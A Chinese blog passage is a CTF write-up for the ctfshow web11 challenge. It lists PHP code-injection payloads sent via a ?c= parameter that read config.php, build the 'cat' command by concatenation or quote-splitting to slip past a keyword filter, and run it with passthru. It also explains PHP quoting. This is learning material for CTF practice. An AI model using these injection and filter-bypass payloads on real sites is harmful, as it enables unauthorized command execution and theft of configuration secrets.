zoukankan      html  css  js  c++  java
  • CTF web之旅 14

    ctfshow 萌新web11

    又增加了cat的绕过

    这个payload依然可用

    ?c=$file_handle = fopen("config.php","r");if ($file_handle){while (!feof($file_handle)) {  $line = fgets($file_handle); echo $line; echo "<br />"; }}fclose($file_handle);

    或者是字符拼接

    ?c=$a='ca';$b='t';$c=$a.$b;passthru("$c config.php");

    对于执行函数 passthru内的内容

    一定要是双引号  因为对于php 

    在php语言中单引号串和双引号串的处理是不同的。双引号串中的内容可以被解释而且替换,而单引号串中的内容总被认为是普通字符。也就是说,如果这里用了单引号的话,php会认为他就是一个普通的变量c,无法解释出系统命令cat的功能。

    简单来说:单引号内部的变量不会执行双引号会执行

    如
    $name = 'hello';
    echo "the $name";
    
    会输出 the hello
    
    而如果是单引号
    
    $name = 'hello';
    echo 'the $name';
    
    会输出 the $name

     或者是单引号绕过cat过滤

    ?c=passthru("ca''t config.php");

  • 相关阅读:
    函数方法与面向对象
    seleniums私房菜系列一 ---- selenium简介
    MySQL图形化管理工具
    存储引擎
    mysql自定义函数
    加密函数
    mysql聚合函数
    mysql信息函数
    mysql日期时间函数(常用的)
    mysql比较运算符和函数
  • 原文地址:https://www.cnblogs.com/akger/p/14601341.html
Copyright © 2011-2022 走看看